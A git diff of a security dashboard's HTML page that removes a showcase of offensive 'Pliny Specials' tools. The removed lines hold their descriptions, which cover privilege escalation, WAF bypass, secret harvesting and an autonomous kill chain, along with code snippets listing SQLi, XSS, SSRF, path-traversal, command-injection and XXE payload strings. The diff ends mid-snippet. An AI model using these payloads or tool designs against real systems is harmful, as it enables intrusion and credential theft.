diff --git a/docs/index.html b/docs/index.html
index 3b1e9b0..b540195 100755
--- a/docs/index.html
+++ b/docs/index.html
@@ -1476,15 +1476,6 @@
             background: var(--error);
             color: #fff;
         }
-        .arsenal-btn-info {
-            background: transparent;
-            border: 1px solid rgba(245, 184, 75, 0.72);
-            color: var(--brass);
-        }
-        .arsenal-btn-info:hover {
-            background: rgba(245, 184, 75, 0.16);
-            border-color: var(--brass);
-        }
         /* Tool Info Modal */
         .tool-info-modal {
             position: fixed;
@@ -1510,9 +1501,6 @@
             overflow-y: auto;
             animation: slideUp 0.3s ease;
         }
-        .tool-info-content.pliny {
-            border: 2px solid rgba(245, 184, 75, 0.78);
-            box-shadow: 0 0 40px rgba(47, 255, 210, 0.18);
         }
         @keyframes slideUp {
             from { transform: translateY(30px); opacity: 0; }
@@ -1543,11 +1531,6 @@
             align-items: center;
             gap: 20px;
         }
-        .tool-info-header.pliny {
-            background:
-                linear-gradient(135deg, rgba(6, 17, 26, 0.96), rgba(11, 61, 92, 0.72)),
-                repeating-linear-gradient(90deg, rgba(245, 184, 75, 0.06) 0 1px, transparent 1px 72px);
-        }
         .tool-info-icon {
             font-size: 56px;
             line-height: 1;
@@ -1601,121 +1584,6 @@
             line-height: 1.6;
         }
         /* MMORPG Stat Bars */
-        .pliny-stats {
-            background: rgba(0, 0, 0, 0.4);
-            border-radius: 12px;
-            padding: 20px;
-            border: 1px solid rgba(245, 184, 75, 0.32);
-        }
-        .stat-row {
-            display: flex;
-            align-items: center;
-            margin-bottom: 16px;
-        }
-        .stat-row:last-child {
-            margin-bottom: 0;
-        }
-        .stat-label {
-            width: 100px;
-            font-size: 12px;
-            font-weight: 600;
-            text-transform: uppercase;
-            color: #888;
-        }
-        .stat-bar-container {
-            flex: 1;
-            height: 24px;
-            background: rgba(0, 0, 0, 0.5);
-            border-radius: 12px;
-            overflow: hidden;
-            position: relative;
-            border: 1px solid rgba(255, 255, 255, 0.1);
-        }
-        .stat-bar {
-            height: 100%;
-            border-radius: 12px;
-            transition: width 0.5s ease;
-            position: relative;
-            overflow: hidden;
-        }
-        .stat-bar::after {
-            content: '';
-            position: absolute;
-            top: 0;
-            left: 0;
-            right: 0;
-            height: 50%;
-            background: linear-gradient(to bottom, rgba(255,255,255,0.2), transparent);
-        }
-        .stat-bar.power { background: linear-gradient(90deg, #ff4444, #ff8800); }
-        .stat-bar.offense { background: linear-gradient(90deg, #ff0000, #ff4444); }
-        .stat-bar.defense { background: linear-gradient(90deg, #00aa00, #44ff44); }
-        .stat-bar.stealth { background: linear-gradient(90deg, #0066ff, #00ccff); }
-        .stat-bar.speed { background: linear-gradient(90deg, #ffcc00, #ffff00); }
-        .stat-bar.versatility { background: linear-gradient(90deg, #aa00ff, #ff00ff); }
-        .stat-value {
-            margin-left: 12px;
-            min-width: 50px;
-            font-size: 16px;
-            font-weight: bold;
-            text-align: right;
-        }
-        .stat-value.power { color: #ff8800; }
-        .stat-value.offense { color: #ff4444; }
-        .stat-value.defense { color: #44ff44; }
-        .stat-value.stealth { color: #00ccff; }
-        .stat-value.speed { color: #ffff00; }
-        .stat-value.versatility { color: #ff00ff; }
-        .power-badge {
-            font-size: 48px;
-            font-weight: bold;
-            text-align: center;
-            padding: 16px;
-            border-radius: 12px;
-            margin-bottom: 20px;
-        }
-        .power-badge.legendary { background: linear-gradient(135deg, #ff4400, #ffaa00); color: #fff; text-shadow: 0 2px 10px rgba(0,0,0,0.5); }
-        .power-badge.epic { background: linear-gradient(135deg, var(--brass), var(--storm-blue)); color: #fff; }
-        .power-badge.rare { background: linear-gradient(135deg, #0066ff, #00ccff); color: #fff; }
-        /* Tool Info Tabs */
-        .tool-info-tabs {
-            display: flex;
-            gap: 4px;
-            margin-bottom: 16px;
-            background: rgba(0, 0, 0, 0.3);
-            padding: 4px;
-            border-radius: 8px;
-        }
-        .tool-info-tab {
-            flex: 1;
-            padding: 10px 16px;
-            border: none;
-            background: transparent;
-            color: var(--text-muted);
-            font-size: 13px;
-            font-weight: 600;
-            cursor: pointer;
-            border-radius: 6px;
-            transition: all 0.2s;
-        }
-        .tool-info-tab:hover {
-            color: var(--text-primary);
-            background: rgba(255, 255, 255, 0.05);
-        }
-        .tool-info-tab.active {
-            background: var(--accent);
-            color: #000;
-        }
-        .tool-info-tab.active.pliny {
-            background: linear-gradient(135deg, var(--brass), #d88a28);
-            color: #071017;
-        }
-        .tool-tab-content {
-            display: none;
-        }
-        .tool-tab-content.active {
-            display: block;
-        }
         /* Code Viewer */
         .code-viewer {
             background: #0a0a0a;
@@ -1788,21 +1656,6 @@
         .capability-icon {
             font-size: 18px;
         }
-        .pliny-card {
-            border: 1px solid rgba(245, 184, 75, 0.56) !important;
-        }
-        .pliny-card:hover {
-            border-color: var(--brass) !important;
-            box-shadow: 0 0 20px rgba(245, 184, 75, 0.2), 0 10px 28px rgba(47, 255, 210, 0.12);
-        }
-        .pliny-power-mini {
-            background: linear-gradient(135deg, var(--brass), #d88a28);
-            color: #071017;
-            font-size: 12px;
-            font-weight: bold;
-            padding: 4px 8px;
-            border-radius: 4px;
-        }
 
         .pliny-code-ops {
             margin-bottom: 12px;
@@ -4494,9 +4347,6 @@
                             <button class="arsenal-cat-btn" data-cat="Reversing" onclick="filterArsenalByCat('Reversing')">
                                 <span class="cat-icon">🔬</span> REV
                             </button>
-                            <button class="arsenal-cat-btn" data-cat="Pliny Specials" onclick="filterArsenalByCat('Pliny Specials')" style="background: linear-gradient(135deg, rgba(11,61,92,0.72), rgba(245,184,75,0.18)); border: 1px solid rgba(245,184,75,0.72); color: var(--brass);">
-                                <span class="cat-icon">◈</span> PLINY SPECIALS
-                            </button>
                         </div>
                         <div class="arsenal-search">
                             <input type="text" class="arsenal-search-input" placeholder="🔎 Search tools..." id="arsenalSearch" oninput="filterArsenal()">
@@ -5829,7 +5679,7 @@ tempest.operators.<span class="function">spawn</span>(<span class="string">'scan
         };
 
         // ═══════════════════════════════════════════════════════════════
-        // T3MP3ST API CLIENT - Powers the Pliny Specials
+        // T3MP3ST API CLIENT
         // ═══════════════════════════════════════════════════════════════
         const T3MP3ST_API = {
             // Determine if we can reach a local API server
@@ -6921,20 +6771,6 @@ Correlating findings across agents, identifying patterns, producing actionable i
             { id: 'spectra', name: 'SPECTRA', icon: '🔮', cat: 'AI-Recon', desc: 'Semantic recon correlation & attack path prediction', exclusive: true },
             { id: 'chimera', name: 'CHIMERA', icon: '🐲', cat: 'AI-Exploit', desc: 'Context-aware polymorphic payload generator', exclusive: true },
             { id: 'oracle', name: 'ORACLE', icon: '🔮', cat: 'AI-Vuln', desc: 'Predictive vulnerability analysis from fingerprints', exclusive: true },
-
-            // === PLINY SPECIALS - ADVERSARIAL RESEARCH ENGINES ===
-            // Power Rating: 0-100 | Offense/Defense Split
-            { id: 'pliny-hydra', name: 'HYDRA', icon: '✹', cat: "Pliny Specials", desc: 'Swarm pressure engine - parallel safe probes across 10+ vectors with adaptive timing', exclusive: true, tier: 'pliny', power: 92, offense: 95, defense: 5 },
-            { id: 'pliny-arachne', name: 'ARACHNE', icon: '🧵', cat: "Pliny Specials", desc: 'Exploit chain builder - Dijkstra-optimized pathfinding through vulnerability graphs', exclusive: true, tier: 'pliny', power: 88, offense: 82, defense: 18 },
-            { id: 'pliny-cerberus', name: 'CERBERUS', icon: '🔓', cat: "Pliny Specials", desc: 'Boundary sentinel - 55+ privesc techniques across Linux/Windows with kernel CVE matching', exclusive: true, tier: 'pliny', power: 90, offense: 92, defense: 8 },
-            { id: 'pliny-gorgon', name: 'GORGON', icon: '🎯', cat: "Pliny Specials", desc: 'Precision strike engine - surgical exploitation with tier-ranked payloads & context-aware evasion', exclusive: true, tier: 'pliny', power: 97, offense: 99, defense: 1 },
-            { id: 'pliny-sphinx', name: 'SPHINX', icon: '⚡', cat: "Pliny Specials", desc: 'Signal validator - scanner triage with PoC generation, CWE/MITRE mapping & confidence scoring', exclusive: true, tier: 'pliny', power: 91, offense: 75, defense: 25 },
-            { id: 'pliny-leviathan', name: 'LEVIATHAN', icon: '⬡', cat: "Pliny Specials", desc: 'Operation spine - 8-phase autonomous kill chain from recon to cleanup with 4 autonomy modes', exclusive: true, tier: 'pliny', power: 100, offense: 95, defense: 5 },
-
-            // === PLINY SPECIALS - FRONTIER PRESSURE ENGINES ===
-            { id: 'pliny-typhon', name: 'TYPHON', icon: '🔱', cat: "Pliny Specials", desc: 'Mutation engine - 25+ encoders, 20+ WAF bypasses, multi-layer payload transformation', exclusive: true, tier: 'pliny', power: 93, offense: 100, defense: 0 },
-            { id: 'pliny-griffin', name: 'GRIFFIN', icon: '🔑', cat: "Pliny Specials", desc: 'Secret boundary engine - 50+ secret patterns, JWT/entropy analysis, redacted owner handoff', exclusive: true, tier: 'pliny', power: 96, offense: 100, defense: 0 },
-            { id: 'pliny-simurgh', name: 'SIMURGH', icon: '◈', cat: "Pliny Specials", desc: 'Frontier research engine - CWE-mapped 0day framework with ROP gadgets, heap techniques & protection bypasses', exclusive: true, tier: 'pliny', power: 100, offense: 100, defense: 0 }
         ];
 
         const MODELS = [
@@ -7858,8 +7694,7 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
                 ? ARSENAL
                 : ARSENAL.filter(t => t.cat === arsenalFilter ||
                     (arsenalFilter === 'Reversing' && (t.cat === 'Reversing' || t.cat === 'Fuzzing')) ||
-                    (arsenalFilter === 'OSINT' && (t.cat === 'OSINT' || t.cat === 'Recon' || t.cat === 'Wordlists')) ||
-                    (arsenalFilter === 'Pliny Specials' && t.tier === 'pliny'));
+                    (arsenalFilter === 'OSINT' && (t.cat === 'OSINT' || t.cat === 'Recon' || t.cat === 'Wordlists')));
         }
 
         function renderArsenal() {
@@ -7868,22 +7703,16 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
 
             const toolsToShow = getFilteredArsenalTools();
 
-            const plinyBanner = arsenalFilter === 'Pliny Specials'
-                ? `<div class="pliny-sim-banner" style="grid-column: 1 / -1; background: rgba(245,184,75,0.10); border: 1px solid rgba(245,184,75,0.55); border-radius: 8px; padding: 10px 14px; margin-bottom: 4px; color: var(--brass); font-size: 12px; line-height: 1.5;">⚠ <b>Illustrative showcase</b> — these run a <b>LOCAL SIMULATION</b> (no real packets, randomized outputs). For real operations use <b>HUNT</b> / <b>ENGAGE</b>.</div>`
-                : '';
-
-            grid.innerHTML = plinyBanner + toolsToShow.map(t => {
+            grid.innerHTML = toolsToShow.map(t => {
                 const isDeployed = activeLoadout.includes(t.id);
-                const isPliny = t.tier === 'pliny';
                 return `
-                <div class="arsenal-card ${isDeployed ? 'deployed' : ''} ${isPliny ? 'pliny-card' : ''}" data-tool="${t.id}">
+                <div class="arsenal-card ${isDeployed ? 'deployed' : ''}" data-tool="${t.id}">
                     <div class="arsenal-card-header" onclick="showToolInfo('${t.id}')" style="cursor: pointer;">
                         <div class="arsenal-card-icon">${t.icon}</div>
                         <div class="arsenal-card-info">
                             <div class="arsenal-card-name">${t.name}</div>
                             <span class="arsenal-card-cat">${t.cat}</span>
                         </div>
-                        ${isPliny ? `<div class="pliny-power-mini">${t.power}</div>` : ''}
                     </div>
                     <div class="arsenal-card-body">
                         <div class="arsenal-card-desc">${t.desc}</div>
@@ -7892,7 +7721,7 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
                                 ? `<button class="arsenal-btn arsenal-btn-remove" onclick="event.stopPropagation(); toggleLoadout('${t.id}')">REMOVE</button>`
                                 : `<button class="arsenal-btn arsenal-btn-deploy" onclick="event.stopPropagation(); toggleLoadout('${t.id}')">+ ARM</button>`
                             }
-                            <button class="arsenal-btn ${isPliny ? 'arsenal-btn-info' : 'arsenal-btn-run'}" onclick="event.stopPropagation(); showToolInfo('${t.id}')">${isPliny ? 'STATS' : 'INFO'}</button>
+                            <button class="arsenal-btn arsenal-btn-run" onclick="event.stopPropagation(); showToolInfo('${t.id}')">INFO</button>
                         </div>
                     </div>
                 </div>
@@ -7915,12 +7744,11 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
             };
             const loadoutTools = activeLoadout.map(id => ARSENAL.find(t => t.id === id)).filter(Boolean);
             const domains = [...new Set(loadoutTools.map(t => t.cat))];
-            const plinyCount = loadoutTools.filter(t => t.tier === 'pliny').length;
             const avgPower = loadoutTools.length
                 ? Math.round(loadoutTools.reduce((sum, t) => sum + (t.power || 55), 0) / loadoutTools.length)
                 : 0;
-            const hasProof = loadoutTools.some(t => ['pliny-sphinx', 'nuclei', 'semgrep', 'gitleaks', 'zaproxy', 'burp'].includes(t.id) || ['Scanning', 'Web'].includes(t.cat));
-            const hasChain = loadoutTools.some(t => ['pliny-arachne', 'pliny-leviathan', 'pliny-gorgon'].includes(t.id)) || loadoutTools.length >= 4;
+            const hasProof = loadoutTools.some(t => ['nuclei', 'semgrep', 'gitleaks', 'zaproxy', 'burp'].includes(t.id) || ['Scanning', 'Web'].includes(t.cat));
+            const hasChain = loadoutTools.length >= 4;
             const hasBreadth = domains.length >= 3;
             const selectedOperator = document.getElementById('loadoutAssignTarget')?.selectedOptions?.[0]?.textContent?.trim() || '';
             const hasOperator = !!document.getElementById('loadoutAssignTarget')?.value;
@@ -7931,9 +7759,6 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
                 if (hasBreadth && hasProof && hasChain) {
                     mode = 'Hunt-ready loadout';
                     hint = `${loadoutTools.length} tools, ${domains.length} domains, proof and chaining covered.`;
-                } else if (plinyCount >= 2) {
-                    mode = 'Special pressure stack';
-                    hint = `${plinyCount} Specials armed; add proof or breadth if missing.`;
                 } else if (hasProof) {
                     mode = 'Evidence-biased stack';
                     hint = 'Validation is covered; add chain or domain breadth next.';
@@ -8082,715 +7907,19 @@ o.id === 'coordinator' ? `1. MISSION_STATUS: Progress assessment
             updateArsenalSignalDeck();
         }
 
-        // Tool info database for detailed views
-        const TOOL_INFO = {
-            // Pliny Specials - Full rundowns
-            'pliny-hydra': {
-                fullName: 'HYDRA v3.0 - The Swarm Pressure Engine',
-                lore: 'HYDRA is the breadth-first pressure Special: it fans one authorized hypothesis into many safe lanes, then forces the system to explain which boundaries actually hold.',
-                description: 'A multi-vector attack orchestrator that launches coordinated, simultaneous pressure tests across 10+ vulnerability classes with MITRE ATT&CK mapping. Features wave-based execution, adaptive rate limiting, and real-time coverage gap analysis. The operator sees which routes are live, which are blocked, and which should convert into defense.',
-                capabilities: [
-                    { icon: '🔥', text: 'Parallel exploitation across 10+ vectors with MITRE mapping' },
-                    { icon: '⚡', text: 'Wave-based execution with adaptive rate limiting' },
-                    { icon: '🎭', text: 'Real-time coverage gap analysis & vector prioritization' },
-                    { icon: '🔄', text: 'Auto-retry with payload mutation & context escalation' }
-                ],
-                useCases: [
-                    'Overwhelming target defenses during time-critical engagements',
-                    'Full attack surface coverage in a single sweep',
-                    'Simulating coordinated APT behavior across multiple vectors',
-                    'Red team exercises requiring maximum speed and breadth'
-                ],
-                stats: { power: 92, offense: 95, defense: 5, stealth: 35, speed: 98, versatility: 92 }
-            },
-            'pliny-arachne': {
-                fullName: 'ARACHNE v3.0 - The Thread Through the Labyrinth',
-                lore: 'ARACHNE is the chain cartographer: it turns scattered primitives into readable, falsifiable paths through dependency graphs.',
-                description: 'An intelligent exploit chain builder using graph-based pathfinding to construct multi-stage exploitation paths. Maps provides/requires capability dependencies, scores chains by success probability, and references 18+ known CVE chain patterns (ProxyLogon, Log4Shell, ZeroLogon). Turns low-severity findings into devastating attack chains.',
-                capabilities: [
-                    { icon: '🧵', text: 'Dijkstra-based optimal path finding through vuln graphs' },
-                    { icon: '🔗', text: 'Provides/requires capability dependency resolution' },
-                    { icon: '📊', text: '18+ known CVE chain pattern matching' },
-                    { icon: '🎯', text: 'Success probability estimation with effort scoring' }
-                ],
-                useCases: [
-                    'Converting low-severity findings into critical attack chains',
-                    'Mapping provides/requires dependencies across vulnerability sets',
-                    'Pattern-matching against known CVE chains (ProxyLogon, Log4Shell)',
-                    'Identifying hidden multi-step attack paths in complex applications'
-                ],
-                stats: { power: 88, offense: 82, defense: 18, stealth: 65, speed: 55, versatility: 98 }
-            },
-            'pliny-cerberus': {
-                fullName: 'CERBERUS v3.0 - The Boundary Sentinel',
-                lore: 'CERBERUS asks the freedom question directly: where does the current boundary fail to contain capability, privilege, or authority?',
-                description: 'A comprehensive privilege escalation engine covering 55+ techniques: 25+ Windows (Potato family, UAC bypass, token manipulation) and 30+ Linux (GTFOBins SUID/sudo, kernel CVEs, capabilities, container escapes). Matches system config against CVE database with confidence-ranked output and GTFOBins integration.',
-                capabilities: [
-                    { icon: '🔓', text: '55+ techniques: 25 Windows, 30+ Linux with CVE matching' },
-                    { icon: '📋', text: 'GTFOBins integration for sudo/SUID/capability abuse' },
-                    { icon: '🛡️', text: 'Kernel exploit DB: DirtyPipe, PwnKit, Baron Samedit, PrintNightmare' },
-                    { icon: '🚀', text: 'Container escape detection (Docker socket, nsenter, cgroups)' }
-                ],
-                useCases: [
-                    'Post-exploitation privilege escalation on any OS',
-                    'Automated kernel CVE matching against system info',
-                    'GTFOBins-powered SUID/sudo/capability abuse chains',
-                    'Container escape detection and exploitation'
-                ],
-                stats: { power: 90, offense: 92, defense: 8, stealth: 60, speed: 75, versatility: 88 }
-            },
-            'pliny-gorgon': {
-                fullName: 'GORGON v3.0 - The Precision Strike Engine',
-                lore: 'GORGON is the precision Special: minimal moves, maximum signal, and no claim stronger than the attached evidence.',
-                description: 'A precision strike engine with a database of 200+ payloads across SQLi, XSS, SSTI, LFI, SSRF, CMDi, and XXE. Features tier-ranked vulnerability taxonomy (S: instant kill, A: critical access, B: partial access), context-aware payload selection, stealth rating calculation, and 3-phase execution (surgical → evasion → lethal).',
-                capabilities: [
-                    { icon: '🎯', text: '200+ payloads across 7 vulnerability classes' },
-                    { icon: '🗡️', text: 'Tier S-D vulnerability taxonomy with priority scoring' },
-                    { icon: '👁️', text: '3-phase execution: surgical → evasion → lethal' },
-                    { icon: '📈', text: 'Context-aware payload selection with stealth rating' }
-                ],
-                useCases: [
-                    'High-value target exploitation with surgical precision',
-                    'Context-aware payload selection minimizing detection',
-                    'Confirmed vulnerability exploitation with optimal payloads',
-                    'When you need the right payload for the exact context'
-                ],
-                stats: { power: 97, offense: 99, defense: 1, stealth: 88, speed: 65, versatility: 50 }
-            },
-            'pliny-sphinx': {
-                fullName: 'SPHINX v3.0 - The Proof Gate',
-                lore: 'SPHINX cuts through scanner noise by forcing every claim through validation, confidence scoring, CWE/MITRE mapping, and retestable proof.',
-                description: 'A production-grade vulnerability validation engine with 15+ validation techniques, 10+ scanner format parsers, and CWE/MITRE ATT&CK mapping. Parses Nuclei, Nessus, Burp, ZAP, and Acunetix output. Generates confirmed PoCs with sqlmap/dalfox/tplmap commands, confidence-scores each finding, and provides exploitability ratings.',
-                capabilities: [
-                    { icon: '⚡', text: '10+ scanner parsers: Nuclei, Nessus, Burp, ZAP, Acunetix' },
-                    { icon: '✅', text: '15+ validation techniques with CWE/MITRE mapping' },
-                    { icon: '📊', text: 'Confidence scoring with exploitability assessment' },
-                    { icon: '📝', text: 'Auto PoC & tool command generation (sqlmap, dalfox, tplmap)' }
-                ],
-                useCases: [
-                    'Triaging large scanner outputs with false positive elimination',
-                    'CWE/MITRE-mapped validation for compliance reporting',
-                    'Auto-generating PoC commands for confirmed vulnerabilities',
-                    'Building high-confidence vulnerability databases from scanner noise'
-                ],
-                stats: { power: 91, offense: 75, defense: 25, stealth: 78, speed: 88, versatility: 95 }
-            },
-            'pliny-leviathan': {
-                fullName: 'LEVIATHAN v3.0 - The Operation Spine',
-                lore: 'LEVIATHAN is the mission spine: it keeps the Specials aligned to scope, phase, evidence, OPSEC, fallback strategy, and stopping conditions.',
-                description: 'The autonomous kill chain orchestrator. LEVIATHAN commands all Pliny Special tools through an 8-phase MITRE-aligned engagement: RECON → VALIDATE → WEAPONIZE → EXPLOIT → ESCALATE → PERSIST → EXFIL → CLEANUP. Features 4 autonomy levels (Supervised → Berserker), OPSEC-aware timing, and intelligent phase-to-phase decision making with fallback strategies.',
-                capabilities: [
-                    { icon: '🧠', text: 'Autonomous decision engine with phase-adaptive strategy' },
-                    { icon: '🔄', text: '8-phase MITRE-aligned kill chain execution' },
-                    { icon: '🎮', text: '4 autonomy levels: Supervised → Guided → Autonomous → Berserker' },
-                    { icon: '🔧', text: 'Orchestrates all 8 Pliny Special tools with fallback chains' }
-                ],
-                useCases: [
-                    'Fully autonomous penetration testing from recon to cleanup',
-                    'Red team exercises with configurable autonomy and OPSEC levels',
-                    'Stress testing defensive capabilities with adaptive attack plans',
-                    'Complete engagement orchestration with intelligent tool selection'
-                ],
-                stats: { power: 100, offense: 95, defense: 5, stealth: 55, speed: 78, versatility: 100 },
-                killChain: ['RECON', 'VALIDATE', 'WEAPONIZE', 'EXPLOIT', 'ESCALATE', 'PERSIST', 'EXFIL', 'CLEANUP']
-            },
 
-            // === PURE OFFENSE (100/0) WEAPONS ===
-            'pliny-typhon': {
-                fullName: 'TYPHON v3.0 - The Mutation Engine',
-                lore: 'TYPHON explores representation boundaries: encodings, parsers, filters, and transformations that can turn a harmless-looking input into a high-signal test case.',
-                description: 'A production-grade payload injection engine with 25+ encoding methods (URL, double/triple URL, base64, hex, unicode, HTML entities, octal, punycode) and 20+ WAF bypass techniques (case manipulation, null bytes, SQL comments, concatenation, newline/tab injection, double encoding). Generates all encoding variants in parallel with expansion ratio analysis.',
-                capabilities: [
-                    { icon: '💉', text: '25+ encoding methods with chainable multi-layer application' },
-                    { icon: '🧬', text: '20+ WAF bypass techniques: case swap, null bytes, comments, concat' },
-                    { icon: '🔀', text: 'Parallel variant generation with expansion ratio analysis' },
-                    { icon: '☠️', text: 'Context-aware encoding chains (SQL, HTML, JS, shell, XML)' }
-                ],
-                useCases: [
-                    'Multi-layer encoding to bypass strict input validation',
-                    'WAF evasion with 20+ bypass techniques in combination',
-                    'Context-aware payload encoding for any injection point',
-                    'Batch variant generation for comprehensive filter testing'
-                ],
-                stats: { power: 93, offense: 100, defense: 0, stealth: 55, speed: 95, versatility: 82 }
-            },
-            'pliny-griffin': {
-                fullName: 'GRIFFIN v3.0 - The Secret Boundary Engine',
-                lore: 'GRIFFIN maps secret-handling failures without exposing secret values: discovery, redaction, provenance, rotation priority, and owner action.',
-                description: 'A production-grade secret harvesting engine with 50+ regex patterns across 15 provider categories (AWS, GCP, Azure, GitHub, GitLab, Slack, Stripe, database URIs, private keys, JWTs). Features JWT decoding with claim extraction and expiry checking, Shannon entropy analysis for high-entropy string detection, and severity-categorized output with rotation recommendations.',
-                capabilities: [
-                    { icon: '🔑', text: '50+ secret patterns across 15 provider categories' },
-                    { icon: '🔑', text: 'JWT decoding with claim extraction & expiry analysis' },
-                    { icon: '🎭', text: 'Shannon entropy analysis for high-entropy string detection' },
-                    { icon: '🕸️', text: 'Severity-categorized output with credential rotation guidance' }
-                ],
-                useCases: [
-                    'Scanning code/configs for leaked credentials across 15 providers',
-                    'JWT token analysis with algorithm confusion attack detection',
-                    'High-entropy string detection for unknown secret formats',
-                    'Compliance-grade secret scanning with severity categorization'
-                ],
-                stats: { power: 96, offense: 100, defense: 0, stealth: 85, speed: 90, versatility: 78 }
-            },
-            'pliny-simurgh': {
-                fullName: 'SIMURGH v3.0 - The Frontier Research Engine',
-                lore: 'SIMURGH is the weird-machine hunter: it searches for unknown vulnerability primitives, unsafe compositions, and protection bypass hypotheses that can be safely proven or killed.',
-                description: 'The apex predator. A CWE-mapped zero-day exploitation framework covering 9 vulnerability classes (buffer/heap overflow, UAF, type confusion, integer overflow, format string, race condition, null deref, double free). Features protection bypass strategies for ASLR, DEP/NX, stack canaries, CFI, RELRO, and PIE. Includes ROP gadget database for x86_64/arm64 and heap techniques (tcache poison, fastbin dup, house of force).',
-                capabilities: [
-                    { icon: '👁️', text: 'CWE-mapped analysis for 9 vulnerability classes' },
-                    { icon: '⚡', text: 'Protection bypass: ASLR, DEP, CFI, RELRO, PIE, canaries' },
-                    { icon: '🎯', text: 'ROP gadget database for x86_64 and arm64 architectures' },
-                    { icon: '💀', text: 'Heap techniques: tcache poison, fastbin dup, house of force' }
-                ],
-                useCases: [
-                    'Binary vulnerability research with CWE classification',
-                    'Protection bypass strategy planning for hardened targets',
-                    'Exploit development with ROP chain construction',
-                    'Heap exploitation technique selection for modern allocators'
-                ],
-                stats: { power: 100, offense: 100, defense: 0, stealth: 65, speed: 55, versatility: 90 }
-            }
-        };
 
-        // Source file links for each Pliny Special tool - GitHub repo paths
-        const PLINY_SOURCE_FILES = {
-            'pliny-hydra': { file: 'src/mcp-server.ts', lines: '732-761', description: 'Multi-Vector Attack Orchestrator' },
-            'pliny-arachne': { file: 'src/mcp-server.ts', lines: '763-793', description: 'Exploit Chain Builder' },
-            'pliny-cerberus': { file: 'src/mcp-server.ts', lines: '590-626', description: 'Privilege Escalation Engine' },
-            'pliny-gorgon': { file: 'src/mcp-server.ts', lines: '553-586', description: 'Precision Strike Engine' },
-            'pliny-sphinx': { file: 'src/mcp-server.ts', lines: '515-549', description: 'Vulnerability Validation Engine' },
-            'pliny-leviathan': { file: 'src/mcp-server.ts', lines: '483-511', description: 'Kill Chain Orchestrator' },
-            'pliny-typhon': { file: 'src/mcp-server.ts', lines: '629-662', description: 'Payload Injection Engine' },
-            'pliny-griffin': { file: 'src/mcp-server.ts', lines: '665-694', description: 'Secret Harvesting Engine' },
-            'pliny-simurgh': { file: 'src/mcp-server.ts', lines: '697-729', description: 'Zero-Day Research Framework' }
-        };
 
-        // Get GitHub repo URL (detect from current location or use default)
-        function getRepoUrl() {
-            // Try to detect from current page URL if hosted on GitHub Pages
-            const url = window.location.href;
-            const match = url.match(/https?:\/\/([^.]+)\.github\.io\/([^\/]+)/);
-            if (match) {
-                return `https://github.com/${match[1]}/${match[2]}`;
-            }
-            // Default repo URL
-            return 'https://github.com/OWNER/t3mp3st';
-        }
-
-        function viewFullSource(toolId) {
-            const source = PLINY_SOURCE_FILES[toolId];
-            if (!source) {
-                toast('Source file not found', 'error');
-                return;
-            }
-            const repoUrl = getRepoUrl();
-            // Use feature branch where code exists (update to 'main' after PR merge)
-            const branch = 'claude/openrouter-api-key-support-7FLCO';
-            const url = `${repoUrl}/blob/${encodeURIComponent(branch)}/${source.file}#L${source.lines.split('-')[0]}-L${source.lines.split('-')[1]}`;
-            window.open(url, '_blank');
-        }
-
-        // Pliny Special tool code snippets for code viewer - v3.0 Production-Grade Implementations
-        const PLINY_CODE_SNIPPETS = {
-            'pliny-hydra': `// ═══════════════════════════════════════════════════════════════
-// HYDRA v3.0 - Multi-Vector Attack Orchestrator
-// Parallel exploitation with 10+ attack vectors & MITRE mapping
-// ═══════════════════════════════════════════════════════════════
-const HYDRA = {
-    name: 'HYDRA', version: '3.0.0', power: 92, offense: 95, defense: 5,
-
-    // 15+ Attack Vectors with MITRE ATT&CK mappings
-    ATTACK_VECTORS: {
-        sqli_union:     { mitre: 'T1190', payloads: ["' UNION SELECT...", "1 UNION ALL..."] },
-        sqli_blind:     { mitre: 'T1190', payloads: ["' AND SLEEP(5)--", "' AND 1=1--"] },
-        xss_reflected:  { mitre: 'T1059.007', payloads: ['\\x3cscript\\x3ealert(1)\\x3c/script\\x3e'] },
-        xss_stored:     { mitre: 'T1059.007', payloads: ['\\x3cimg src=x onerror=alert(1)\\x3e'] },
-        ssrf_internal:  { mitre: 'T1090', payloads: ['http://127.0.0.1/', 'http://169.254.169.254/'] },
-        lfi_traversal:  { mitre: 'T1083', payloads: ['../../../etc/passwd', 'php://filter/...'] },
-        rce_command:    { mitre: 'T1059', payloads: ['; id', '| whoami', '\`id\`'] },
-        xxe_file:       { mitre: 'T1059', payloads: ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///...">]>'] },
-        ssti_inject:    { mitre: 'T1059', payloads: ['{{7*7}}', '\${7*7}', '<%= 7*7 %>'] },
-        deserialization:{ mitre: 'T1059', payloads: ['ysoserial CommonsCollections...'] }
-    },
-
-    async orchestrate(target, options = {}) {
-        const results = { successful: [], failed: [], timeline: [] };
-        const vectors = options.vectors || Object.keys(this.ATTACK_VECTORS);
-
-        // Parallel wave execution
-        const wave = vectors.map(v => this.executeVector(target, v, options));
-        const outcomes = await Promise.allSettled(wave);
-
-        outcomes.forEach((outcome, i) => {
-            const entry = { vector: vectors[i], timestamp: Date.now() };
-            if (outcome.status === 'fulfilled' && outcome.value?.success) {
-                results.successful.push({ ...entry, result: outcome.value });
-            } else {
-                results.failed.push({ ...entry, error: outcome.reason });
-            }
-        });
-
-        return { ...results, successRate: results.successful.length / vectors.length };
-    }
-};`,
-            'pliny-arachne': `// ═══════════════════════════════════════════════════════════════
-// ARACHNE v3.0 - Production-Grade Exploit Chain Builder
-// Graph-based path finding with Dijkstra & MITRE ATT&CK mapping
-// ═══════════════════════════════════════════════════════════════
-const ARACHNE = {
-    name: 'ARACHNE', version: '3.0.0',
-
-    // 15+ Attack Primitives with MITRE mappings
-    PRIMITIVES: {
-        file_read:    { mitre: ['T1005', 'T1039'], provides: ['credentials', 'config', 'keys'],
-                        techniques: ['lfi', 'xxe', 'path_traversal'], reliability: 0.85 },
-        db_read:      { mitre: ['T1213'], techniques: ['sqli_union', 'sqli_blind', 'nosqli'], reliability: 0.9 },
-        code_exec:    { mitre: ['T1059', 'T1203'], techniques: ['rce', 'ssti', 'deserialization'], reliability: 0.85 },
-        cred_theft:   { mitre: ['T1003', 'T1555'], techniques: ['mimikatz', 'dcsync', 'kerberoasting'], reliability: 0.8 },
-        privesc_local:{ mitre: ['T1068', 'T1548'], techniques: ['kernel_exploit', 'suid_abuse', 'sudo_bypass'], reliability: 0.6 },
